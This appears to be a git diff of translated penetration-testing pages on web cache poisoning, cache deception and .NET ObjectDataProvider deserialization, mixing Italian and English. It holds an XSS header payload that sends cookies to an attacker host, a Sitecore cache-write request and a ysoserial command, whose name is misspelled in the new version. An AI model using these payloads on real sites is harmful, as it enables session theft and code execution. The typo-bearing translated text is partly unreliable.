-[**Questo articolo spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
+[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
 
-Questo è spiegato meglio in:
+This is also explained better in:
 
 
 {{#ref}}
@@ -118,16 +119,16 @@ cache-poisoning-via-url-discrepancies.md
 
 ### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **Open redirect** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento.
+Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`. **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, you can control where the page is pointed by the redirect.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
 X-Forwarded-Scheme: http
 ```
-### Sfruttare con un `Vary` header limitato
+### Sfruttare con `Vary` header limitato
 
-Se hai scoperto che l'**`X-Host`** header viene utilizzato come **nome di dominio per caricare una risorsa JS** ma l'**`Vary`** header nella risposta indica **`User-Agent`**. Allora, devi trovare un modo per esfiltrare l'User-Agent della vittima e avvelenare la cache utilizzando quel user agent:
+Se scopri che l'header **`X-Host`** viene usato come **nome di dominio per caricare una risorsa JS**, ma l'header **`Vary`** nella risposta indica **`User-Agent`**, allora devi trovare un modo per exfiltrate il `User-Agent` della vittima e poison the cache usando quel `User-Agent`:
 ```html
 GET / HTTP/1.1
 Host: vulnerbale.net
@@ -136,7 +137,7 @@ X-Host: attacker.com
 ```
 ### Fat Get
 
-Invia una richiesta GET con la richiesta nell'URL e nel corpo. Se il server web utilizza quella del corpo ma il server cache memorizza quella dell'URL, chiunque acceda a quell'URL utilizzerà effettivamente il parametro del corpo. Come la vulnerabilità trovata da James Kettle sul sito di Github:
+Invia una richiesta GET con la request sia nell'URL sia nel body. Se il web server usa quella del body ma il cache server mette in cache quella dell'URL, chiunque acceda a quell'URL userà in realtà il parametro proveniente dal body. Come la vuln che James Kettle ha trovato sul sito di Github:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@@ -145,93 +146,110 @@ Content-Length: 22
 
 report=innocent-victim
 ```
-C'è un laboratorio di portswigger su questo: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
+There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
 
-### Parameter Cloaking
+### Parameter Cloacking
 
-Ad esempio, è possibile separare **parameters** nei server ruby utilizzando il carattere **`;`** invece di **`&`**. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne.
+Ad esempio è possibile separare **parameters** in server ruby usando il char **`;`** invece di **`&`**. Questo può essere usato per inserire valori di parametri senza chiave all'interno di quelli con chiave e abusarne.
 
-Laboratorio Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
+Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
 
 ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
 
-Scopri qui come eseguire [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
+Scopri come eseguire [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
 
-### Automated testing for Web Cache Poisoning
+### Test automatizzati per Web Cache Poisoning
 
-Il [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere utilizzato per testare automaticamente la web cache poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.
+The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere usato per testare automaticamente per web cache poisoning. Supporta molte tecniche diverse ed è altamente personalizzabile.
 
-Esempio di utilizzo: `wcvs -u example.com`
+Example usage: `wcvs -u example.com`
 
 ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
 
-Questo modello del mondo reale combina un primitivo di riflessione basato su header con il comportamento di CDN/WAF per avvelenare in modo affidabile l'HTML memorizzato nella cache servito ad altri utenti:
+Questo pattern osservato in ambiente reale concatena un primitivo di reflection basato su header con il comportamento di CDN/WAF per avvelenare in modo affidabile l'HTML cached servito ad altri utenti:
 
-- L'HTML principale rifletteva un header di richiesta non attendibile (ad es., `User-Agent`) in un contesto eseguibile.
-- Il CDN ha rimosso gli header di cache, ma esisteva una cache interna/origine. Il CDN ha anche memorizzato automaticamente le richieste che terminano in estensioni statiche (ad es., `.js`), mentre il WAF applicava un'ispezione del contenuto più debole per le GET di asset statici.
-- Le peculiarità del flusso di richiesta hanno permesso a una richiesta a un percorso `.js` di influenzare la chiave/variante della cache utilizzata per l'HTML principale successivo, abilitando XSS cross-user tramite riflessione dell'header.
+- L'HTML principale rifletteva un header di richiesta non attendibile (es., `User-Agent`) in contesto eseguibile.
+- Il CDN rimuoveva gli header di cache ma esisteva una cache interna/origin. Il CDN inoltre auto-cached le richieste che terminano con estensioni statiche (es., `.js`), mentre il WAF applicava ispezioni di contenuto più deboli alle GET per asset statici.
+- Quirks nel flusso di richiesta permettevano a una richiesta a un percorso `.js` di influenzare la cache key/variant usata per l'HTML principale successivo, abilitando XSS cross-user tramite header reflection.
 
 Ricetta pratica (osservata su un popolare CDN/WAF):
 
-1) Da un IP pulito (evitare downgrade basati sulla reputazione precedente), impostare un `User-Agent` malevolo tramite browser o Burp Proxy Match & Replace.
-2) In Burp Repeater, preparare un gruppo di due richieste e utilizzare "Invia gruppo in parallelo" (la modalità a pacchetto singolo funziona meglio):
-- Prima richiesta: GET un percorso di risorsa `.js` sulla stessa origine mentre si invia il proprio `User-Agent` malevolo.
-- Immediatamente dopo: GET la pagina principale (`/`).
-3) La corsa di instradamento CDN/WAF più il `.js` memorizzato automaticamente spesso semina una variante HTML memorizzata nella cache avvelenata che viene poi servita ad altri visitatori che condividono le stesse condizioni della chiave di cache (ad es., le stesse dimensioni `Vary` come `User-Agent`).
+1) Da un IP pulito (evitare downgrade basati sulla reputazione precedente), imposta un `User-Agent` malevolo via browser o Burp Proxy Match & Replace.  
+2) In Burp Repeater, prepara un gruppo di due richieste e usa "Send group in parallel" (la modalità single-packet funziona meglio):
+- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
+- Immediately after: GET the main page (`/`).  
+3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`).
 
-Esempio di payload dell'header (per esfiltrare cookie non HttpOnly):
+Esempio header payload (per esfiltrare cookie non-HttpOnly):
 ```
 User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
 ```
 Operational tips:
 
-- Molti CDN nascondono le intestazioni della cache; il poisoning può apparire solo su cicli di aggiornamento di diverse ore. Usa più IP di vantage e limita la velocità per evitare attivazioni di rate-limit o reputazione.
-- Utilizzare un IP dal cloud del CDN stesso a volte migliora la coerenza del routing.
-- Se è presente un CSP rigoroso, questo funziona ancora se il riflesso viene eseguito nel contesto HTML principale e il CSP consente l'esecuzione inline o viene bypassato dal contesto.
+- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
+- Using an IP from the CDN's own cloud sometimes improves routing consistency.
+- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
 
 Impact:
 
-- Se i cookie di sessione non sono `HttpOnly`, è possibile un ATO a zero clic estraendo in massa `document.cookie` da tutti gli utenti a cui viene servito l'HTML avvelenato.
+- Se i cookie di sessione non sono `HttpOnly`, è possibile un zero-click ATO esfiltrando in massa `document.cookie` da tutti gli utenti a cui viene servito l'HTML avvelenato.
 
 Defenses:
 
-- Smetti di riflettere le intestazioni delle richieste nell'HTML; codifica rigorosamente il contesto se inevitabile. Allinea le politiche di cache del CDN e dell'origine ed evita variazioni su intestazioni non affidabili.
-- Assicurati che il WAF applichi l'ispezione dei contenuti in modo coerente alle richieste `.js` e ai percorsi statici.
-- Imposta `HttpOnly` (e `Secure`, `SameSite`) sui cookie di sessione.
+- Smettere di riflettere gli header della richiesta nell'HTML; se inevitabile, applicare una codifica contestuale rigorosa. Allineare le politiche di cache del CDN e dell'origin ed evitare di variare in base ad header non attendibili.
+- Assicurarsi che il WAF applichi l'ispezione del contenuto in modo consistente alle richieste `.js` e ai percorsi statici.
+- Impostare `HttpOnly` (e `Secure`, `SameSite`) sui cookie di sessione.
+
+### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
+
+A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+Questa scrive HTML arbitrario sotto una cache key scelta dall'attaccante, consentendo un avvelenamento preciso una volta note le cache key.
+
+Per i dettagli completi (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}
 
 ## Vulnerable Examples
 
 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
 
-ATS ha inoltrato il frammento all'interno dell'URL senza rimuoverlo e ha generato la chiave di cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi la richiesta `/#/../?r=javascript:alert(1)` è stata inviata al backend come `/#/../?r=javascript:alert(1)` e la chiave di cache non conteneva il payload al suo interno, solo host, percorso e query.
+ATS inoltrava il fragment presente nella URL senza rimuoverlo e generava la cache key usando solo host, path e query (ignorando il fragment). Quindi la request `/#/../?r=javascript:alert(1)` veniva inviata al backend come `/#/../?r=javascript:alert(1)` e la cache key non conteneva il payload, solo host, path e query.
 
 ### GitHub CP-DoS
 
-Inviare un valore errato nell'intestazione content-type ha attivato una risposta 405 memorizzata nella cache. La chiave di cache conteneva il cookie, quindi era possibile attaccare solo gli utenti non autenticati.
+Inviare un valore errato nell'header content-type scatenava una risposta 405 memorizzata nella cache. La cache key conteneva il cookie quindi era possibile attaccare solo utenti non autenticati.
 
 ### GitLab + GCP CP-DoS
 
-GitLab utilizza i bucket GCP per memorizzare contenuti statici. **I bucket GCP** supportano l'**intestazione `x-http-method-override`**. Quindi era possibile inviare l'intestazione `x-http-method-override: HEAD` e avvelenare la cache per restituire un corpo di risposta vuoto. Potrebbe anche supportare il metodo `PURGE`.
+GitLab usa i GCP buckets per memorizzare contenuti statici. **GCP Buckets** supportano l'header **`x-http-method-override`**. Quindi era possibile inviare l'header `x-http-method-override: HEAD` e avvelenare la cache facendola ritornare un corpo di risposta vuoto. Poteva inoltre supportare il metodo `PURGE`.
 
 ### Rack Middleware (Ruby on Rails)
 
-Nelle applicazioni Ruby on Rails, il middleware Rack è spesso utilizzato. Lo scopo del codice Rack è prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 alla stessa posizione, causando potenzialmente un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, ponendo un rischio per la sicurezza.
+Nelle applicazioni Ruby on Rails viene spesso utilizzato il Rack middleware. Lo scopo del codice Rack è prendere il valore dell'header **`x-forwarded-scheme`** e impostarlo come scheme della request. Quando viene inviato l'header `x-forwarded-scheme: http` si verifica un redirect 301 alla stessa posizione, potenzialmente causando una Denial of Service (DoS) su quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'header `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server dell'attaccante, rappresentando un rischio di sicurezza.
 
 ### 403 and Storage Buckets
 
-Cloudflare in precedenza memorizzava nella cache le risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con intestazioni di autorizzazione errate avrebbe comportato una risposta 403 che veniva memorizzata nella cache. Anche se Cloudflare ha smesso di memorizzare nella cache le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy.
+Cloudflare in passato metteva in cache le risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con Authorization header errati restituiva un 403 che veniva memorizzato nella cache. Anche se Cloudflare ha smesso di mettere in cache le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy.
 
 ### Injecting Keyed Parameters
 
-Le cache spesso includono parametri GET specifici nella chiave di cache. Ad esempio, il Varnish di Fastly memorizzava nella cache il parametro `size` nelle richieste. Tuttavia, se una versione codificata in URL del parametro (ad es., `siz%65`) veniva inviata con un valore errato, la chiave di cache sarebbe stata costruita utilizzando il corretto parametro `size`. Tuttavia, il backend avrebbe elaborato il valore nel parametro codificato in URL. La codifica in URL del secondo parametro `size` ha portato alla sua omissione da parte della cache ma al suo utilizzo da parte del backend. Assegnare un valore di 0 a questo parametro ha comportato un errore 400 Bad Request memorizzabile nella cache.
+Le cache spesso includono parametri GET specifici nella cache key. Per esempio, Varnish usato da Fastly memorizzava il parametro `size` nelle richieste. Tuttavia, se veniva inviata anche una versione URL-encoded del parametro (es. `siz%65`) con un valore errato, la cache key sarebbe stata costruita usando il parametro `size` corretto. Però il backend avrebbe processato il valore nel parametro URL-encoded. URL-encoding del secondo parametro `size` portava alla sua omissione dalla cache ma al suo utilizzo dal backend. Assegnare a questo parametro il valore 0 produceva un errore 400 Bad Request cacheable.
 
 ### User Agent Rules
 
-Alcuni sviluppatori bloccano le richieste con user-agent che corrispondono a quelli di strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come il poisoning della cache e DoS.
+Alcuni sviluppatori bloccano richieste con user-agents corrispondenti a tool ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironia della sorte, questo approccio può introdurre vulnerabilità come cache poisoning e DoS.
 
 ### Illegal Header Fields
 
-Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. In pratica, i server non sempre aderiscono a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
+L'[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi degli header. Gli header che contengono caratteri fuori dall'intervallo **tchar** dovrebbero idealmente causare una risposta 400 Bad Request. In pratica, i server non sempre aderiscono a questo standard. Un esempio notevole è Akamai, che inoltra header con caratteri non validi e memorizza qualsiasi errore 400, purché l'header `cache-control` non sia presente. È stato identificato un pattern sfruttabile dove l'invio di un header con un carattere illegale, come `\`, avrebbe prodotto un 400 Bad Request memorizzabile nella cache.
 
 ### Finding new headers
 
@@ -239,30 +257,30 @@ Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratter
 
 ## Cache Deception
 
-L'obiettivo del Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.
+The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
 
-Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono solitamente **configurate** per essere **salvate** nella **cache.** Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js`, la cache probabilmente memorizzerà la risposta perché vede l'**estensione** `.js`. Ma, se l'**applicazione** sta **riproducendo** i contenuti **sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti.
+First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
 
-Altre cose da testare:
+Other things to test:
 
 - _www.example.com/profile.php/.js_
 - _www.example.com/profile.php/.css_
 - _www.example.com/profile.php/test.js_
 - _www.example.com/profile.php/../test.js_
 - _www.example.com/profile.php/%2e%2e/test.js_
-- _Usa estensioni meno conosciute come_ `.avif`
+- _Use lesser known extensions such as_ `.avif`
 
-Un altro esempio molto chiaro può essere trovato in questo write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-Nell'esempio, viene spiegato che se carichi una pagina non esistente come _http://www.example.com/home.php/non-existent.css_, il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server della cache salverà il risultato.\
-Poi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno accesso prima.
+Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
+In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
+Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
 
-Nota che il **cache proxy** dovrebbe essere **configurato** per **memorizzare** i file **basati** sull'**estensione** del file (_.css_) e non basato sul content-type. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo MIME `text/css` (che è quello previsto per un file _.css_).
+Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
 
 Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
 
 ## Automatic Tools
 
-- [**toxicache**](https://github.com/xhzeem/toxicache): scanner Golang per trovare vulnerabilità di poisoning della cache web in un elenco di URL e testare più tecniche di iniezione.
+- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
 
 ## References
 
@@ -274,6 +292,7 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
 - [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 - [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
 
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

@@ -1,24 +1,24 @@
-# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
+# Deserializzazione .Net di base (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Questo post è dedicato a **comprendere come il gadget ObjectDataProvider venga sfruttato** per ottenere RCE e **come** le librerie di serializzazione **Json.Net e xmlSerializer possano essere abusate** con quel gadget.
+Questo post è dedicato a **capire come il gadget ObjectDataProvider viene sfruttato** per ottenere RCE e **come** le librerie di serializzazione **Json.Net e xmlSerializer possono essere abusate** con quel gadget.
 
-## Gadget ObjectDataProvider
+## ObjectDataProvider Gadget
 
-Dalla documentazione: _la classe ObjectDataProvider avvolge e crea un oggetto che puoi utilizzare come sorgente di binding_.\
-Sì, è una spiegazione strana, quindi vediamo cosa ha di così interessante questa classe: Questa classe consente di **avvolgere un oggetto arbitrario**, utilizzare _**MethodParameters**_ per **impostare parametri arbitrari,** e poi **utilizzare MethodName per chiamare una funzione arbitraria** dell'oggetto arbitrario dichiarato utilizzando i parametri arbitrari.\
-Pertanto, l'**oggetto** arbitrario **eseguirà** una **funzione** con **parametri mentre viene deserializzato.**
+Dalla documentazione: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
+Sì, è una spiegazione strana, quindi vediamo cosa ha questa classe di così interessante: questa classe permette di **incapsulare un oggetto arbitrario**, usare _**MethodParameters**_ per **impostare parametri arbitrari,** e poi **usare MethodName per chiamare una funzione arbitraria** dell'oggetto arbitrario dichiarata usando i parametri arbitrari.\
+Di conseguenza, l'**oggetto** arbitrario **eseguirà** una **funzione** con **parametri durante la deserializzazione.**
 
 ### **Come è possibile**
 
-Lo spazio dei nomi **System.Windows.Data**, trovato all'interno di **PresentationFramework.dll** in `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, è dove l'ObjectDataProvider è definito e implementato.
+Il namespace **System.Windows.Data**, presente all'interno di **PresentationFramework.dll** in `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, è dove ObjectDataProvider è definito e implementato.
 
-Utilizzando [**dnSpy**](https://github.com/0xd4d/dnSpy) puoi **ispezionare il codice** della classe che ci interessa. Nell'immagine qui sotto vediamo il codice di **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome del metodo**
+Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puoi **ispezionare il codice** della classe che ci interessa. Nell'immagine sotto vediamo il codice di **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
 
 ![](<../../images/image (427).png>)
 
-Come puoi osservare, quando `MethodName` è impostato, viene chiamato `base.Refresh()`, diamo un'occhiata a cosa fa:
+Come si può osservare quando `MethodName` viene impostato viene chiamato `base.Refresh()`, diamo un'occhiata a cosa fa:
 
 ![](<../../images/image (319).png>)
 
@@ -26,13 +26,13 @@ Ok, continuiamo a vedere cosa fa `this.BeginQuery()`. `BeginQuery` è sovrascrit
 
 ![](<../../images/image (345).png>)
 
-Nota che alla fine del codice viene chiamato `this.QueryWorke(null)`. Vediamo cosa esegue:
+Nota che alla fine del codice sta chiamando `this.QueryWorke(null)`. Vediamo cosa esegue:
 
 ![](<../../images/image (596).png>)
 
-Nota che questo non è il codice completo della funzione `QueryWorker`, ma mostra la parte interessante: Il codice **chiama `this.InvokeMethodOnInstance(out ex);`** questa è la riga in cui viene **invocato il metodo impostato**.
+Nota che questo non è il codice completo della funzione `QueryWorker` ma mostra la parte interessante: il codice **chiama `this.InvokeMethodOnInstance(out ex);`** questa è la riga in cui viene **invocato il metodo impostato**.
 
-Se vuoi controllare che impostando semplicemente il _**MethodName**_** venga eseguito**, puoi eseguire questo codice:
+Se vuoi verificare che impostando semplicemente il _**MethodName**_** sarà eseguito**, puoi eseguire questo codice:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -56,12 +56,12 @@ Nota che è necessario aggiungere come riferimento _C:\Windows\Microsoft.NET\Fra
 
 ## ExpandedWrapper
 
-Utilizzando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza di _**ObjectDataProvider**_ (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando `GetType`). Quindi, non avrà **conoscenza del tipo di oggetto che è incapsulato** nell'istanza di _ObjectDataProvider_ (`Process`, ad esempio). Puoi trovare ulteriori [informazioni sulla vulnerabilità di DotNetNuke qui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
+Usando l'exploit precedente ci saranno casi in cui l'**oggetto** verrà **deserializzato come** un'istanza _**ObjectDataProvider**_ (per esempio nella DotNetNuke vuln, usando XmlSerializer, l'oggetto è stato deserializzato usando `GetType`). In questi casi non si avrà **alcuna conoscenza del tipo di oggetto che è incapsulato** nell'istanza _ObjectDataProvider_ (ad esempio `Process`). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
 
-Questa classe consente di **specificare i tipi di oggetti degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
-Questo è molto utile per casi come quello presentato prima, perché saremo in grado di **incapsulare \_ObjectDataProvider**_** all'interno di un'istanza di **_**ExpandedWrapper** \_ e **quando deserializzato** questa classe **creerà** l'oggetto _**OjectDataProvider**_ che **eseguirà** la **funzione** indicata in _**MethodName**_.
+Questa classe permette di **specificare i tipi di oggetto degli oggetti che sono incapsulati** in una data istanza. Quindi, questa classe può essere usata per incapsulare un oggetto sorgente (_ObjectDataProvider_) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
+Questo è molto utile per casi come quello presentato prima, perché saremo in grado di **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
 
-Puoi controllare questo wrapper con il seguente codice:
+Puoi verificare questo wrapper con il seguente codice:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
 ```
 ## Json.Net
 
-Nella [pagina web ufficiale](https://www.newtonsoft.com/json) è indicato che questa libreria consente di **Serializzare e deserializzare qualsiasi oggetto .NET con il potente serializzatore JSON di Json.NET**. Quindi, se potessimo **deserializzare il gadget ObjectDataProvider**, potremmo causare un **RCE** semplicemente deserializzando un oggetto.
+Nella [official web page](https://www.newtonsoft.com/json) è indicato che questa libreria permette di **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Quindi, se potessimo **deserialize the ObjectDataProvider gadget**, potremmo causare una **RCE** semplicemente deserializzando un oggetto.
 
-### Esempio di Json.Net
+### Esempio Json.Net
 
-Prima di tutto vediamo un esempio su come **serializzare/deserializzare** un oggetto utilizzando questa libreria:
+Prima di tutto, vediamo un esempio su come **serialize/deserialize** un oggetto usando questa libreria:
 ```java
 using System;
 using Newtonsoft.Json;
@@ -132,11 +132,11 @@ Console.WriteLine(desaccount.Email);
 }
 }
 ```
-### Abusare di Json.Net
+### Abuso di Json.Net
 
-Utilizzando [ysoserial.net](https://github.com/pwntester/ysoserial.net) ho creato l'exploit:
+Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) ho creato l'exploit:
 ```java
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
+yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 {
